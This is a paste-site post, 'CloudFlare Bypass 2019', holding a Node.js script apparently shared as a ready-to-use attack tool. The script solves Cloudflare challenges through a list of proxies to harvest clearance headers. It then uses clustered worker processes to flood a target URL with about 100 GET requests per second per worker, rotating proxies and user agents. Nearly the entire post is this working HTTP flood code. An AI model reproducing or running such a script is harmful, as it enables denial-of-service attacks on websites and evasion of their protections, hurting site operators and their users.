Joker0day icon

CloudFlare Bypass 2019

Joker0day | PRO | 08/31/19 01:22:16 PM UTC | 0 ⭐ | 1633 👁️ | Never ⏰ | []
JavaScript |

4.29 KB

|

None

|

0 👍

/

0 👎

const cluster = require('cluster'); // By Joker0day
const request = require('request'); // By Joker0day
const numCPUs = require('os').cpus().length; // By Joker0day
const chunks = require('array.chunk'); // By Joker0day
 
var _ANSI = { 
    Reset: "\x1b[0m",
    Bright: "\x1b[1m",
    Dim: "\x1b[2m",
    Underscore: "\x1b[4m",
    Blink: "\x1b[5m",
    Reverse: "\x1b[7m",
    Hidden: "\x1b[8m",
 
    FgBlack: "\x1b[30m",
    FgRed: "\x1b[31m",
    FgGreen: "\x1b[32m",
    FgYellow: "\x1b[33m",
    FgBlue: "\x1b[34m",
    FgMagenta: "\x1b[35m",
    FgCyan: "\x1b[36m",
    FgWhite: "\x1b[37m",
 
    BgBlack: "\x1b[40m",
    BgRed: "\x1b[41m",
    BgGreen: "\x1b[42m",
    BgYellow: "\x1b[43m",
    BgBlue: "\x1b[44m",
    BgMagenta: "\x1b[45m",
    BgCyan: "\x1b[46m",
    BgWhite: "\x1b[47m"
};
 
var cfb = require('cfbypass');
 
var fs = require('fs');
 
function createHandler(_URL, _UA, _PROXY, _CALLBACK) {
    cfb.request({
        method: 'GET',
        url: _URL,
        challengesToSolve: 3, // optional, if CF returns challenge after challenge, how many to solve before failing
        followAllRedirects: true, // mandatory for successful challenge solution
        headers: {
            'User-Agent': _UA
        },
        proxy: _PROXY,
    }, function(err, response, body) {
        if (err) {
            //console.log(err);
            _CALLBACK(false);
        } else {
//            console.log(body);
            _CALLBACK(response.req._headers, _PROXY);
        }
        //body is now a buffer object instead of a string
    });
}
 
 
 
if (cluster.isMaster) {
  masterProcess();
} else {
  childProcess();  
}
 
 
 
 
function masterProcess() {
  var _URL, _PROXIES_FILE, _UAS_FILE, _TIME, _HANDLERS_COUNT, _HANDLERS, _WORKERS, _WORKER, _PROXIES;
  _WORKERS = [];
 
  console.log(`Master ${process.pid} is running`);
for (var k in process.argv) {
    if (process.argv[k] == '-h') {
        _URL = process.argv[parseInt(k) + 1];
    }
    if (process.argv[k] == '-c') {
        _HANDLERS_COUNT = parseInt(process.argv[parseInt(k) + 1]);
    }
    if (process.argv[k] == '-u') {
        _UAS_FILE = process.argv[parseInt(k) + 1];
    }
    if (process.argv[k] == '-p') {
        _PROXIES_FILE = process.argv[parseInt(k) + 1];
    }
 
}
 
var path = process.cwd();
var buffer = fs.readFileSync(path + "/"+_UAS_FILE);
var text = buffer.toString();
var useragents = text.split("\n");
buffer = fs.readFileSync(path + "/"+_PROXIES_FILE);
text = buffer.toString();
_PROXIES = text.split("\n");
 
 
console.log(_ANSI.FgGreen + "Preparing " + _HANDLERS_COUNT + " handlers for " + _URL + _ANSI.Reset);
  var _PROXIES_CHUNKS = chunks(_PROXIES,parseInt(_PROXIES.length/(numCPUs-1)));
  for (let i = 0; i < numCPUs; i++) {
     console.log(`Forking process number ${i}...`);
    _WORKER = cluster.fork();
    _WORKERS.push(_WORKER);
    
 
  }
  for (var key in _WORKERS){
    _WORKER = _WORKERS[key];
        _WORKER.send({proxies:_PROXIES_CHUNKS[parseInt(key)], URL: _URL, useragents: useragents});
 
  }
 
 
//  process.exit();
}
 
function childProcess() {
  var _HANDLERS = [];
  process.on('message', function(message) {
    var proxies = message.proxies;
    var useragents = message.useragents;
    var _URL = message.URL;
    for(var i = 0; i < proxies.length; i++){
        var proxy = proxies[i];
        var useragent = useragents[Math.floor(Math.random()*useragents.length)];
        if(proxy !== undefined && proxy !== null){
            console.log(_ANSI.FgGreen + "Preparing handler for proxy "+ proxy+" with UserAgent: "+useragent+ _ANSI.Reset);
            createHandler(_URL, useragent, "http://"+proxy, function(a,b){
                if(a !== false){
                    console.log("Handler Started");
                    a['Referer'] = _URL;
                    _HANDLERS.push({headers: a, proxy: b});
                }
            });
        }
    }
 
    setInterval(function(){
        if(_HANDLERS.length > 1){
        for (var i = 0; i < 100; i++) {
            var handler = _HANDLERS[Math.floor(Math.random()*_HANDLERS.length)];
            var options = {
              url: _URL,
              headers: handler.headers,
              proxy: handler.proxy
 
            };
 
            
            request.get(options, function(error, response, body) {
                if(body !== undefined){
                    if(body.includes("visiting")){
                        console.log("200 OK");
                    }
                }
            });
 
            }
        }
    }, 1000);
  });
}
 
// Joker0day FUCK ME PLOX

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎